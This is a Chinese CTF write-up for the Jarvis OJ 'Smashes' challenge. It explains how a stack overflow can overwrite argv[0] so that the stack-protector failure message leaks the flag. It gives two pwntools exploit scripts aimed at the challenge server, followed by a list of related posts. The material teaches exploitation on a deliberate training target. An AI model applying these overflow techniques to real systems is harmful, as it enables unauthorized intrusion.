[Jarvis OJ - PWN]——Smashes

  • 题目地址: https://www.jarvisoj.com/challenges
  • 题目:

还是先checksec一下看看。64位,并且除了PIE,其他保护基本都开启了。

在IDA中看看


发现有可以利用的栈溢出, 我原本的想法是将canary给泄露出来。但是看到触发了canary保护后的结果, 有点不对劲。

修改了文件名后,我确定了, 泄露的就是argv[0]。我们可以通过将其覆盖, 主动触发canary保护, 将flag拿到手。

我们首先要确实, argv[0], 距离的输入的偏移。我们找最初的指针指向。
diantance = 0x218

上面我们找到flag的地址位:0x0000000000600D21
所以exploit

from pwn import *
#p=process('./smashes')
p=remote("pwn.jarvisoj.com","9877")
p.recvuntil("name?");
flag_addr=0x0600D21
payload='a'*0x218+p64(flag_addr)
p.sendline(payload)
p.interactive()

发现结果不对,什么都没有???

看了下相关博客,学到了

peak小知识

当ELF文件较小的时候,他的不同区段可能会被多次映射。

找到映射备份地址0x400D21

exploit

from pwn import *
#p=process('./smashes')
p=remote("pwn.jarvisoj.com","9877")
p.recvuntil("name?");
flag_addr=0x0400D21
payload='a'*0x218+p64(flag_addr)
p.sendline(payload)
p.interactive()

[Jarvis OJ - PWN]——Smashes相关推荐

  1. [Jarvis OJ - PWN]——Typo(内涵peak小知识)

    [Jarvis OJ - PWN]--Typo 题目地址: https://www.jarvisoj.com/challenges 题目: 还是先check一下, 是arm架构.还是第一次遇到. pe ...

  2. [Jarvis OJ - PWN]——Backdoor

    [Jarvis OJ - PWN]--Backdoor 题目地址: https://www.jarvisoj.com/challenges 题目: 额,怎么说呢这个题有点出乎我的意料, 有点晕乎乎的. ...

  3. [Jarvis OJ - PWN]——[61dctf]fm

    [Jarvis OJ - PWN]--[61dctf]fm 题目地址: https://www.jarvisoj.com/challenges 题目: 还是先checksec一下, 开启了canary ...

  4. [Jarvis OJ - PWN]——Test Your Memory

    [Jarvis OJ - PWN]--Test Your Memory 题目地址: https://www.jarvisoj.com/challenges 题目: 32位程序,开了NX保护 IDA e ...

  5. [Jarvis OJ - PWN]——[XMAN]level4

    [Jarvis OJ - PWN]--[XMAN]level4 题目地址: https://www.jarvisoj.com/challenges 题目: checksec一下 IDA中 思路 0x1 ...

  6. [Jarvis OJ - PWN]——[XMAN]level3_x64

    [Jarvis OJ - PWN]--[XMAN]level3_x64 题目地址:https://www.jarvisoj.com/challenges 题目: 老样子,还是先checksec一下,再 ...

  7. [Jarvis OJ - PWN]——[XMAN]level3

    [Jarvis OJ - PWN]--[XMAN]level3 题目地址:https://www.jarvisoj.com/challenges 题目: 先checksec一下,32位程序开启了NX保 ...

  8. [Jarvis OJ - PWN]——[XMAN]level2(x64)

    [Jarvis OJ - PWN]--[XMAN]level2(x64) 题目地址:https://www.jarvisoj.com/challenges 题目: checksec一下,是64位程序. ...

  9. [Jarvis OJ - PWN]——Tell Me Something

    [Jarvis OJ - PWN]--Tell Me Something 题目地址:https://www.jarvisoj.com/challenges 题目: 还是先checksec一下,64位开 ...

最新文章

  1. 16. Spring Boot使用Druid(编程注入)【从零开始学Spring Boot】
  2. 第 127 章 Piranha - Cluster administation tools
  3. 使用ansible安装docker以及docker-compose
  4. 统计SQL2005中数据库中的每张表的记录数
  5. 基于B/S模式的推送
  6. symfony学习笔记——路由
  7. web 前端 如何分享到instagram_如何找到靠谱的Web培训机构?web前端培训机构哪个好?...
  8. nodejs项目如何部署到服务器上?
  9. Springboot07配制数据统一返回格式以及定义统一的异常处理类
  10. 龙芯电脑的详细资料,支持国货的请进来!
  11. 我们可能都低估了浪潮存储
  12. 信息学奥赛一本通(c++)
  13. JSHOP2算例介绍:blocksworld问题
  14. oracle安装使用
  15. adobe cs5全线作品
  16. unicode 生僻字_基于Unicode编码技术的地名生僻字库研究
  17. 微型计算机最早出现在第三代计算机中对吗,3月计算机一级试题及答案(2)
  18. 图嵌入(Graph Embedding)方法小结
  19. MUR1060AC-ASEMI快恢复二极管10A 600V
  20. 一种高效快速的高密度椒盐噪声消除算法(吕宗伟等)

热门文章

  1. Linux网络协议栈(四)——链路层(2)
  2. 操作系统实验报告7:进程间通信—共享内存。实现一个带有n个单元的线性表的并发维护。
  3. [Python从零到壹] 三十七.图像处理基础篇之图像融合处理和ROI区域绘制
  4. HarmonyOS之常用组件Text的功能和使用
  5. PyTorch 加载超大 Libsvm 格式数据
  6. 1.4 Hive和数据库的比较
  7. 《数据库原理与应用》(第三版)第15章 备份和恢复数据库 基础 习题参考答案
  8. 2017年第八届蓝桥杯 - 国赛 - C/C++大学B组 - A. 36进制
  9. 【MFC】Windows样式
  10. Linux字符集安装文件,Linux下字符集的安装